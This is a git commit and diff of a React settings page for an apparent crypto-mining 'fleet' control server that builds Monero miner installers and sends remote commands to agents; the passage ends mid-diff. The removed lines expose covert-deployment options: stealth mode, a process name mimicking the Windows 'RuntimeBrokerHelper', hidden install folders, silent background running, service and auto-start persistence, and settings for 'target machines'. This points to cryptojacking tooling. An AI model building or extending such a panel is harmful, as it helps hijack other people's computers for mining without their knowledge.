Add fleet ops dashboard, Calibrate enforcement, and dead-code cleanup.
Ship live alerts, pool status, AI monitor, remote agent commands, build manager, and uninstall flow; wire Calibrate settings (WS ping, pool traffic log, retention limits) at runtime and exclude server/data from git.
This commit is contained in:
@@ -1,30 +1,55 @@
|
||||
import { useState, useEffect } from 'react';
|
||||
import { useState, useEffect, useRef } from 'react';
|
||||
import { api } from '../api/client';
|
||||
import type { ServerConfig } from '../types';
|
||||
import { HelpTip } from '../components/HelpTip';
|
||||
import { HelpTip, FieldHint } from '../components/HelpTip';
|
||||
import NeonCard from '../components/NeonCard/NeonCard';
|
||||
import './Pages.css';
|
||||
|
||||
export default function SettingsPage() {
|
||||
const [config, setConfig] = useState<ServerConfig | null>(null);
|
||||
const [serverInfo, setServerInfo] = useState<{ suggested_url: string; local_ips: string[] } | null>(null);
|
||||
const [loading, setLoading] = useState(true);
|
||||
const [saving, setSaving] = useState(false);
|
||||
const [saveMessage, setSaveMessage] = useState('');
|
||||
const fileInputRef = useRef<HTMLInputElement>(null);
|
||||
|
||||
useEffect(() => {
|
||||
api.getConfig()
|
||||
.then(setConfig)
|
||||
Promise.all([api.getConfig(), api.getServerInfo()])
|
||||
.then(([cfg, info]) => {
|
||||
setConfig({
|
||||
...cfg,
|
||||
server: {
|
||||
public_url: cfg.server?.public_url ?? '',
|
||||
stats_retention_hours: cfg.server?.stats_retention_hours ?? 168,
|
||||
build_retention_days: cfg.server?.build_retention_days ?? 30,
|
||||
pool_reconnect_seconds: cfg.server?.pool_reconnect_seconds ?? 30,
|
||||
websocket_ping_seconds: cfg.server?.websocket_ping_seconds ?? 30,
|
||||
max_agents: cfg.server?.max_agents ?? 256,
|
||||
max_build_size_mb: cfg.server?.max_build_size_mb ?? 150,
|
||||
log_agent_connections: cfg.server?.log_agent_connections ?? true,
|
||||
log_share_submissions: cfg.server?.log_share_submissions ?? false,
|
||||
log_pool_traffic: cfg.server?.log_pool_traffic ?? false,
|
||||
strict_wallet_validation: cfg.server?.strict_wallet_validation ?? false,
|
||||
dashboard_subtitle: cfg.server?.dashboard_subtitle ?? 'security is just an emotion',
|
||||
},
|
||||
});
|
||||
setServerInfo(info);
|
||||
})
|
||||
.catch(console.error)
|
||||
.finally(() => setLoading(false));
|
||||
}, []);
|
||||
|
||||
const updateField = (path: string, value: any) => {
|
||||
const updateField = (path: string, value: unknown) => {
|
||||
if (!config) return;
|
||||
const newConfig = { ...config };
|
||||
const keys = path.split('.');
|
||||
let obj: any = newConfig;
|
||||
let obj: Record<string, unknown> = newConfig as unknown as Record<string, unknown>;
|
||||
for (let i = 0; i < keys.length - 1; i++) {
|
||||
obj = obj[keys[i]];
|
||||
const key = keys[i];
|
||||
if (!obj[key] || typeof obj[key] !== 'object') {
|
||||
obj[key] = {};
|
||||
}
|
||||
obj = obj[key] as Record<string, unknown>;
|
||||
}
|
||||
obj[keys[keys.length - 1]] = value;
|
||||
setConfig(newConfig);
|
||||
@@ -37,463 +62,350 @@ export default function SettingsPage() {
|
||||
try {
|
||||
const updated = await api.updateConfig(config);
|
||||
setConfig(updated);
|
||||
setSaveMessage('✅ Settings saved successfully');
|
||||
setTimeout(() => setSaveMessage(''), 3000);
|
||||
} catch (err: any) {
|
||||
setSaveMessage(`❌ Failed to save: ${err.message}`);
|
||||
setSaveMessage('Calibration saved — control server updated.');
|
||||
setTimeout(() => setSaveMessage(''), 4000);
|
||||
} catch (err: unknown) {
|
||||
setSaveMessage(`Save failed: ${err instanceof Error ? err.message : 'unknown error'}`);
|
||||
} finally {
|
||||
setSaving(false);
|
||||
}
|
||||
};
|
||||
|
||||
const handleExportConfig = () => {
|
||||
if (!config) return;
|
||||
const blob = new Blob([JSON.stringify(config, null, 2)], { type: 'application/json' });
|
||||
const url = URL.createObjectURL(blob);
|
||||
const a = document.createElement('a');
|
||||
a.href = url;
|
||||
a.download = 'aetherforge-server-config.json';
|
||||
a.click();
|
||||
URL.revokeObjectURL(url);
|
||||
};
|
||||
|
||||
const handleImportConfig = () => fileInputRef.current?.click();
|
||||
|
||||
const handleFileSelected = (e: React.ChangeEvent<HTMLInputElement>) => {
|
||||
const file = e.target.files?.[0];
|
||||
if (!file) return;
|
||||
const reader = new FileReader();
|
||||
reader.onload = (evt) => {
|
||||
try {
|
||||
const data = JSON.parse(evt.target?.result as string);
|
||||
setConfig((prev) => (prev ? { ...prev, ...data } : prev));
|
||||
setSaveMessage(`Loaded "${file.name}" — click Save Calibration to apply.`);
|
||||
} catch {
|
||||
setSaveMessage('Invalid JSON file.');
|
||||
}
|
||||
};
|
||||
reader.readAsText(file);
|
||||
e.target.value = '';
|
||||
};
|
||||
|
||||
if (loading) {
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
<header className="deck-hero">
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">CALIBRATION</p>
|
||||
<h1>System Calibrate</h1>
|
||||
<p className="deck-eyebrow font-tech">SERVER ONLY</p>
|
||||
<h1>Calibrate</h1>
|
||||
</div>
|
||||
</header>
|
||||
<NeonCard accent="brass"><p>Loading settings...</p></NeonCard>
|
||||
<NeonCard accent="brass"><p>Loading server calibration...</p></NeonCard>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
if (!config) {
|
||||
return (
|
||||
<div className="page fade-in">
|
||||
<div className="page-header"><h1>Settings</h1></div>
|
||||
<div className="card"><p>Failed to load settings</p></div>
|
||||
<div className="page fade-in command-deck">
|
||||
<NeonCard accent="brass"><p>Failed to load server configuration.</p></NeonCard>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
const s = config.server || {
|
||||
public_url: '',
|
||||
stats_retention_hours: 168,
|
||||
build_retention_days: 30,
|
||||
pool_reconnect_seconds: 30,
|
||||
websocket_ping_seconds: 30,
|
||||
max_agents: 256,
|
||||
max_build_size_mb: 150,
|
||||
log_agent_connections: true,
|
||||
log_share_submissions: false,
|
||||
log_pool_traffic: false,
|
||||
strict_wallet_validation: false,
|
||||
dashboard_subtitle: '',
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
<input type="file" ref={fileInputRef} style={{ display: 'none' }} accept=".json" onChange={handleFileSelected} />
|
||||
|
||||
<header className="deck-hero">
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">CALIBRATION</p>
|
||||
<h1>System Calibrate</h1>
|
||||
<p className="page-subtitle">Pool, wallet, defaults, and install paths for the forge.</p>
|
||||
<p className="deck-eyebrow font-tech">CONTROL SERVER · LOCAL HOST</p>
|
||||
<h1>Calibrate</h1>
|
||||
<p className="page-subtitle">
|
||||
Settings for this machine only — the dashboard, pool relay, and LAN address. Miner installers are built in the Forge tab.
|
||||
</p>
|
||||
</div>
|
||||
<div className="deck-hero-actions">
|
||||
<button className="btn btn-primary" onClick={handleSave} disabled={saving}>
|
||||
{saving ? 'Saving...' : 'Save Calibration'}
|
||||
</button>
|
||||
<button className="btn btn-outline" onClick={handleExportConfig}>Export</button>
|
||||
<button className="btn btn-outline" onClick={handleImportConfig}>Import</button>
|
||||
</div>
|
||||
<button className="btn btn-primary" onClick={handleSave} disabled={saving}>
|
||||
{saving ? 'Saving...' : 'Save Settings'}
|
||||
</button>
|
||||
</header>
|
||||
|
||||
{saveMessage && (
|
||||
<div className={`save-message ${saveMessage.includes('✅') ? 'success' : 'error'}`}>
|
||||
{saveMessage}
|
||||
</div>
|
||||
<div className={`save-message ${saveMessage.includes('failed') ? 'error' : 'success'}`}>{saveMessage}</div>
|
||||
)}
|
||||
|
||||
{serverInfo && (
|
||||
<NeonCard accent="cyan" className="calibrate-banner" hud>
|
||||
<p className="font-tech">DETECTED LAN ENDPOINTS</p>
|
||||
<p><strong>Suggested:</strong> <code className="mono-sm">{serverInfo.suggested_url}</code></p>
|
||||
{serverInfo.local_ips?.length > 0 && (
|
||||
<p className="form-hint">IPs on this host: {serverInfo.local_ips.join(' · ')}</p>
|
||||
)}
|
||||
<p className="form-hint">Set Public URL below if you want the Forge to default to a specific address.</p>
|
||||
</NeonCard>
|
||||
)}
|
||||
|
||||
<div className="settings-grid">
|
||||
{/* Pool Configuration */}
|
||||
<div className="card settings-section">
|
||||
<h2>Pool Connection</h2>
|
||||
<p className="section-desc">Configure which Monero pool your miners connect to.</p>
|
||||
<NeonCard accent="brass" className="settings-section">
|
||||
<h2 className="font-display">Control Server</h2>
|
||||
<p className="section-desc">How this dashboard and API are hosted on your network.</p>
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label">Listen Port</label>
|
||||
<input type="number" className="input" min={1024} max={65535} value={config.port}
|
||||
onChange={(e) => updateField('port', parseInt(e.target.value) || 8989)} />
|
||||
<span className="form-hint">Restart server after changing port.</span>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Data Directory</label>
|
||||
<input type="text" className="input mono" value={config.data_dir}
|
||||
onChange={(e) => updateField('data_dir', e.target.value)} />
|
||||
</div>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Public URL (LAN) <HelpTip field="public_url" /></label>
|
||||
<input type="text" className="input mono" placeholder={serverInfo?.suggested_url || 'http://192.168.1.x:8989'}
|
||||
value={s.public_url}
|
||||
onChange={(e) => updateField('server.public_url', e.target.value)} />
|
||||
<FieldHint field="public_url" />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Dashboard Subtitle</label>
|
||||
<input type="text" className="input" value={s.dashboard_subtitle}
|
||||
onChange={(e) => updateField('server.dashboard_subtitle', e.target.value)} />
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="cyan" className="settings-section">
|
||||
<h2 className="font-display">Upstream Pool</h2>
|
||||
<p className="section-desc">The control server connects here and relays work to your fleet (not per-miner in this tab).</p>
|
||||
<div className="form-group">
|
||||
<label className="label">Pool Host <HelpTip field="pool_host" /></label>
|
||||
<input
|
||||
type="text"
|
||||
className="input"
|
||||
value={config.pool.host}
|
||||
onChange={(e) => updateField('pool.host', e.target.value)}
|
||||
placeholder="pool.supportxmr.com"
|
||||
/>
|
||||
<input type="text" className="input" value={config.pool.host}
|
||||
onChange={(e) => updateField('pool.host', e.target.value)} />
|
||||
</div>
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label">Port <HelpTip field="pool_port" /></label>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
value={config.pool.port}
|
||||
onChange={(e) => updateField('pool.port', parseInt(e.target.value) || 3333)}
|
||||
/>
|
||||
<label className="label">Port</label>
|
||||
<input type="number" className="input" value={config.pool.port}
|
||||
onChange={(e) => updateField('pool.port', parseInt(e.target.value) || 3333)} />
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<div className="form-group checkbox-group" style={{ alignSelf: 'flex-end' }}>
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox"
|
||||
checked={config.pool.use_tls}
|
||||
onChange={(e) => updateField('pool.use_tls', e.target.checked)}
|
||||
/>
|
||||
<span>Use TLS/SSL</span>
|
||||
<input type="checkbox" className="checkbox" checked={config.pool.use_tls}
|
||||
onChange={(e) => updateField('pool.use_tls', e.target.checked)} />
|
||||
<span>Use TLS</span>
|
||||
</label>
|
||||
</div>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Password (optional)</label>
|
||||
<input
|
||||
type="text"
|
||||
className="input"
|
||||
value={config.pool.password}
|
||||
onChange={(e) => updateField('pool.password', e.target.value)}
|
||||
placeholder="x"
|
||||
/>
|
||||
<label className="label">Pool Password</label>
|
||||
<input type="text" className="input" value={config.pool.password}
|
||||
onChange={(e) => updateField('pool.password', e.target.value)} />
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Wallet Configuration */}
|
||||
<div className="card settings-section">
|
||||
<h2>Wallet</h2>
|
||||
<p className="section-desc">Default wallet address for new miners.</p>
|
||||
<div className="form-group">
|
||||
<label className="label">XMR Wallet Address <HelpTip field="wallet" /></label>
|
||||
<input
|
||||
type="text"
|
||||
className="input mono"
|
||||
value={config.wallet.address}
|
||||
onChange={(e) => updateField('wallet.address', e.target.value)}
|
||||
placeholder="4..."
|
||||
/>
|
||||
<label className="label">Pool Reconnect Interval (sec)</label>
|
||||
<input type="number" className="input" min={5} value={s.pool_reconnect_seconds}
|
||||
onChange={(e) => updateField('server.pool_reconnect_seconds', parseInt(e.target.value) || 30)} />
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="purple" className="settings-section">
|
||||
<h2 className="font-display">Fleet Payout Wallet</h2>
|
||||
<p className="section-desc">Default wallet the server uses when connecting to the pool. The Forge pre-fills this when building miners.</p>
|
||||
<div className="form-group">
|
||||
<label className="label">XMR Address <HelpTip field="wallet" /></label>
|
||||
<input type="text" className="input mono" value={config.wallet.address}
|
||||
onChange={(e) => updateField('wallet.address', e.target.value)} />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Payment ID (optional)</label>
|
||||
<input
|
||||
type="text"
|
||||
className="input mono"
|
||||
value={config.wallet.payment_id}
|
||||
onChange={(e) => updateField('wallet.payment_id', e.target.value)}
|
||||
/>
|
||||
<input type="text" className="input mono" value={config.wallet.payment_id}
|
||||
onChange={(e) => updateField('wallet.payment_id', e.target.value)} />
|
||||
</div>
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={s.strict_wallet_validation}
|
||||
onChange={(e) => updateField('server.strict_wallet_validation', e.target.checked)} />
|
||||
<span>Strict wallet validation on build API</span>
|
||||
</label>
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
{/* Default Agent Config */}
|
||||
<div className="card settings-section">
|
||||
<h2>Default Agent Configuration</h2>
|
||||
<p className="section-desc">Default settings applied to newly built miners.</p>
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label">Thread Mode <HelpTip field="thread_mode" /></label>
|
||||
<select
|
||||
className="select"
|
||||
value={config.default_agent_config.thread_mode || 'percent'}
|
||||
onChange={(e) => updateField('default_agent_config.thread_mode', e.target.value)}
|
||||
>
|
||||
<option value="percent">Auto (% of cores)</option>
|
||||
<option value="fixed">Fixed count</option>
|
||||
</select>
|
||||
</div>
|
||||
{config.default_agent_config.thread_mode === 'fixed' ? (
|
||||
<div className="form-group">
|
||||
<label className="label">Threads <HelpTip field="threads" /></label>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
min={1}
|
||||
max={128}
|
||||
value={config.default_agent_config.threads}
|
||||
onChange={(e) => updateField('default_agent_config.threads', parseInt(e.target.value) || 1)}
|
||||
/>
|
||||
</div>
|
||||
) : (
|
||||
<div className="form-group">
|
||||
<label className="label">Thread Percent <HelpTip field="thread_percent" /></label>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
min={10}
|
||||
max={100}
|
||||
value={config.default_agent_config.thread_percent ?? 75}
|
||||
onChange={(e) => updateField('default_agent_config.thread_percent', parseInt(e.target.value) || 75)}
|
||||
/>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label">CPU Priority <HelpTip field="cpu_priority" /></label>
|
||||
<select
|
||||
className="select"
|
||||
value={config.default_agent_config.cpu_priority}
|
||||
onChange={(e) => updateField('default_agent_config.cpu_priority', e.target.value)}
|
||||
>
|
||||
<option value="idle">Idle</option>
|
||||
<option value="below_normal">Below Normal</option>
|
||||
<option value="normal">Normal</option>
|
||||
<option value="above_normal">Above Normal</option>
|
||||
<option value="high">High</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label">Max CPU Usage (%) <HelpTip field="max_cpu_usage_pct" /></label>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
min={1}
|
||||
max={100}
|
||||
value={config.default_agent_config.max_cpu_usage_pct}
|
||||
onChange={(e) => updateField('default_agent_config.max_cpu_usage_pct', parseInt(e.target.value) || 80)}
|
||||
/>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Max Memory (%) <HelpTip field="max_memory_percent" /></label>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
min={10}
|
||||
max={95}
|
||||
value={config.default_agent_config.max_memory_percent ?? 70}
|
||||
onChange={(e) => updateField('default_agent_config.max_memory_percent', parseInt(e.target.value) || 70)}
|
||||
/>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Min Free RAM (MB) <HelpTip field="min_free_ram_mb" /></label>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
min={256}
|
||||
value={config.default_agent_config.min_free_ram_mb}
|
||||
onChange={(e) => updateField('default_agent_config.min_free_ram_mb', parseInt(e.target.value) || 1024)}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
<div className="form-section">
|
||||
<h3>Install Location Defaults</h3>
|
||||
<p className="section-desc">Where built installers embed the miner on first run.</p>
|
||||
<div className="form-group">
|
||||
<label className="label">Install Base Folder <HelpTip field="install_base" /></label>
|
||||
<select
|
||||
className="select"
|
||||
value={config.default_agent_config.install_base || 'localappdata'}
|
||||
onChange={(e) => updateField('default_agent_config.install_base', e.target.value)}
|
||||
>
|
||||
<option value="localappdata">Local App Data (%LOCALAPPDATA%)</option>
|
||||
<option value="appdata">Roaming App Data (%APPDATA%)</option>
|
||||
<option value="programdata">Program Data (%ProgramData%)</option>
|
||||
<option value="userprofile">User Profile (%USERPROFILE%)</option>
|
||||
<option value="temp">Temp Folder (%TEMP%)</option>
|
||||
<option value="custom">Custom Path</option>
|
||||
</select>
|
||||
</div>
|
||||
{config.default_agent_config.install_base === 'custom' && (
|
||||
<div className="form-group">
|
||||
<label className="label">Custom Base Path <HelpTip field="install_custom_base" /></label>
|
||||
<input
|
||||
type="text"
|
||||
className="input mono"
|
||||
value={config.default_agent_config.install_custom_base || ''}
|
||||
onChange={(e) => updateField('default_agent_config.install_custom_base', e.target.value)}
|
||||
placeholder="%ProgramData%\\HiddenApps"
|
||||
/>
|
||||
</div>
|
||||
)}
|
||||
<div className="form-group">
|
||||
<label className="label">Install Subfolder <HelpTip field="install_relative_path" /></label>
|
||||
<input
|
||||
type="text"
|
||||
className="input mono"
|
||||
value={config.default_agent_config.install_relative_path || 'CryptoMiner/{worker}-{build_short}'}
|
||||
onChange={(e) => updateField('default_agent_config.install_relative_path', e.target.value)}
|
||||
/>
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={config.default_agent_config.adapt_to_hardware ?? true}
|
||||
onChange={(e) => updateField('default_agent_config.adapt_to_hardware', e.target.checked)} />
|
||||
<span>Adapt to hardware <HelpTip field="adapt_to_hardware" /></span>
|
||||
</label>
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={config.default_agent_config.self_healing ?? true}
|
||||
onChange={(e) => updateField('default_agent_config.self_healing', e.target.checked)} />
|
||||
<span>Self-healing <HelpTip field="self_healing" /></span>
|
||||
</label>
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={config.default_agent_config.stealth_mode ?? false}
|
||||
onChange={(e) => {
|
||||
updateField('default_agent_config.stealth_mode', e.target.checked);
|
||||
if (e.target.checked) updateField('default_agent_config.file_logging', false);
|
||||
}} />
|
||||
<span>Stealth mode <HelpTip field="stealth_mode" /></span>
|
||||
</label>
|
||||
</div>
|
||||
</div>
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label">Display Mode <HelpTip field="display_mode" /></label>
|
||||
<select
|
||||
className="select"
|
||||
value={config.default_agent_config.display_mode || 'background'}
|
||||
onChange={(e) => updateField('default_agent_config.display_mode', e.target.value)}
|
||||
>
|
||||
<option value="visible">Visible (console)</option>
|
||||
<option value="silent">Silent (hidden window)</option>
|
||||
<option value="background">Background (hidden + low priority)</option>
|
||||
</select>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Process Name <HelpTip field="process_name" /></label>
|
||||
<input
|
||||
type="text"
|
||||
className="input"
|
||||
value={config.default_agent_config.process_name || 'RuntimeBrokerHelper'}
|
||||
onChange={(e) => updateField('default_agent_config.process_name', e.target.value)}
|
||||
placeholder="RuntimeBrokerHelper"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
<NeonCard accent="amber" className="settings-section">
|
||||
<h2 className="font-display">Fleet Alerts</h2>
|
||||
<p className="section-desc">Dashboard thresholds for agent health.</p>
|
||||
<div className="form-group">
|
||||
<label className="label">Mining Mode <HelpTip field="mining_mode" /></label>
|
||||
<select
|
||||
className="select"
|
||||
value={config.default_agent_config.mining_mode}
|
||||
onChange={(e) => updateField('default_agent_config.mining_mode', e.target.value)}
|
||||
>
|
||||
<option value="always">Always Mine</option>
|
||||
<option value="idle">Only When Idle</option>
|
||||
<option value="scheduled">Scheduled Hours</option>
|
||||
</select>
|
||||
<label className="label">Offline After (minutes)</label>
|
||||
<input type="number" className="input" min={1} value={config.alerts.offline_threshold_minutes}
|
||||
onChange={(e) => updateField('alerts.offline_threshold_minutes', parseInt(e.target.value) || 5)} />
|
||||
</div>
|
||||
{config.default_agent_config.mining_mode === 'idle' && (
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label">Idle CPU Threshold (%) <HelpTip field="idle_threshold_pct" /></label>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
min={1}
|
||||
max={100}
|
||||
value={config.default_agent_config.idle_threshold_pct}
|
||||
onChange={(e) => updateField('default_agent_config.idle_threshold_pct', parseInt(e.target.value) || 20)}
|
||||
/>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Idle Duration (min) <HelpTip field="idle_duration_minutes" /></label>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
min={1}
|
||||
value={config.default_agent_config.idle_duration_minutes}
|
||||
onChange={(e) => updateField('default_agent_config.idle_duration_minutes', parseInt(e.target.value) || 5)}
|
||||
/>
|
||||
</div>
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label">Hashrate Drop (%)</label>
|
||||
<input type="number" className="input" value={config.alerts.hashrate_drop_threshold_pct}
|
||||
onChange={(e) => updateField('alerts.hashrate_drop_threshold_pct', parseInt(e.target.value) || 50)} />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Rejection Rate (%)</label>
|
||||
<input type="number" className="input" value={config.alerts.rejection_rate_threshold_pct}
|
||||
onChange={(e) => updateField('alerts.rejection_rate_threshold_pct', parseInt(e.target.value) || 5)} />
|
||||
</div>
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="amber" className="settings-section">
|
||||
<h2 className="font-display">Alert Notifications</h2>
|
||||
<p className="section-desc">Telegram and email when fleet thresholds fire (offline, hashrate crash, rejection spike).</p>
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label">Telegram Bot Token</label>
|
||||
<input type="password" className="input mono" value={config.alerts.telegram_bot_token || ''}
|
||||
onChange={(e) => updateField('alerts.telegram_bot_token', e.target.value)} placeholder="123456:ABC…" />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Telegram Chat ID</label>
|
||||
<input type="text" className="input mono" value={config.alerts.telegram_chat_id || ''}
|
||||
onChange={(e) => updateField('alerts.telegram_chat_id', e.target.value)} placeholder="-100…" />
|
||||
</div>
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!config.alerts.email_enabled}
|
||||
onChange={(e) => updateField('alerts.email_enabled', e.target.checked)} />
|
||||
<span>Email alerts via SMTP</span>
|
||||
</label>
|
||||
</div>
|
||||
{config.alerts.email_enabled && (
|
||||
<>
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label">SMTP Host</label>
|
||||
<input type="text" className="input" value={config.alerts.smtp_host || ''}
|
||||
onChange={(e) => updateField('alerts.smtp_host', e.target.value)} />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">SMTP Port</label>
|
||||
<input type="number" className="input" value={config.alerts.smtp_port || 587}
|
||||
onChange={(e) => updateField('alerts.smtp_port', parseInt(e.target.value) || 587)} />
|
||||
</div>
|
||||
</div>
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label">SMTP User</label>
|
||||
<input type="text" className="input" value={config.alerts.smtp_user || ''}
|
||||
onChange={(e) => updateField('alerts.smtp_user', e.target.value)} />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">SMTP Password</label>
|
||||
<input type="password" className="input" value={config.alerts.smtp_password || ''}
|
||||
onChange={(e) => updateField('alerts.smtp_password', e.target.value)} />
|
||||
</div>
|
||||
</div>
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label">Email To</label>
|
||||
<input type="email" className="input" value={config.alerts.email_to || ''}
|
||||
onChange={(e) => updateField('alerts.email_to', e.target.value)} />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Email From</label>
|
||||
<input type="email" className="input" value={config.alerts.email_from || ''}
|
||||
onChange={(e) => updateField('alerts.email_from', e.target.value)} />
|
||||
</div>
|
||||
</div>
|
||||
</>
|
||||
)}
|
||||
{config.default_agent_config.mining_mode === 'scheduled' && (
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label">Start Time <HelpTip field="schedule_start" /></label>
|
||||
<input
|
||||
type="time"
|
||||
className="input"
|
||||
value={config.default_agent_config.schedule_start}
|
||||
onChange={(e) => updateField('default_agent_config.schedule_start', e.target.value)}
|
||||
/>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">End Time <HelpTip field="schedule_end" /></label>
|
||||
<input
|
||||
type="time"
|
||||
className="input"
|
||||
value={config.default_agent_config.schedule_end}
|
||||
onChange={(e) => updateField('default_agent_config.schedule_end', e.target.value)}
|
||||
/>
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="green" className="settings-section">
|
||||
<h2 className="font-display">Data & Limits</h2>
|
||||
<p className="section-desc">Retention and capacity for this host.</p>
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label">Stats Retention (hours)</label>
|
||||
<input type="number" className="input" min={24} value={s.stats_retention_hours}
|
||||
onChange={(e) => updateField('server.stats_retention_hours', parseInt(e.target.value) || 168)} />
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Keep Builds (days)</label>
|
||||
<input type="number" className="input" min={1} value={s.build_retention_days}
|
||||
onChange={(e) => updateField('server.build_retention_days', parseInt(e.target.value) || 30)} />
|
||||
</div>
|
||||
</div>
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label">Max Agents</label>
|
||||
<input type="number" className="input" min={1} value={s.max_agents}
|
||||
onChange={(e) => updateField('server.max_agents', parseInt(e.target.value) || 256)} />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Max Build Size (MB)</label>
|
||||
<input type="number" className="input" min={10} value={s.max_build_size_mb}
|
||||
onChange={(e) => updateField('server.max_build_size_mb', parseInt(e.target.value) || 150)} />
|
||||
</div>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">WebSocket Ping (sec)</label>
|
||||
<input type="number" className="input" min={10} value={s.websocket_ping_seconds}
|
||||
onChange={(e) => updateField('server.websocket_ping_seconds', parseInt(e.target.value) || 30)} />
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
{/* Background / Silent Mode */}
|
||||
<div className="card settings-section">
|
||||
<h2>Background & Deployment</h2>
|
||||
<p className="section-desc">How miners behave on target machines.</p>
|
||||
<NeonCard accent="brass" className="settings-section">
|
||||
<h2 className="font-display">Server Logging</h2>
|
||||
<p className="section-desc">What this control server writes to its log.</p>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox"
|
||||
checked={config.background.silent_mode}
|
||||
onChange={(e) => updateField('background.silent_mode', e.target.checked)}
|
||||
/>
|
||||
<span>Silent Mode (no console window) <HelpTip field="silent_mode" /></span>
|
||||
</label>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Run As <HelpTip field="run_as" /></label>
|
||||
<select
|
||||
className="select"
|
||||
value={config.background.run_as}
|
||||
onChange={(e) => updateField('background.run_as', e.target.value)}
|
||||
>
|
||||
<option value="user">Current User</option>
|
||||
<option value="service">Windows Service</option>
|
||||
<option value="scheduled">Scheduled Task</option>
|
||||
</select>
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox"
|
||||
checked={config.background.auto_start}
|
||||
onChange={(e) => updateField('background.auto_start', e.target.checked)}
|
||||
/>
|
||||
<span>Auto-start with Windows <HelpTip field="auto_start" /></span>
|
||||
<input type="checkbox" className="checkbox" checked={s.log_agent_connections}
|
||||
onChange={(e) => updateField('server.log_agent_connections', e.target.checked)} />
|
||||
<span>Log agent connect / disconnect</span>
|
||||
</label>
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox"
|
||||
checked={config.background.minimize_to_tray}
|
||||
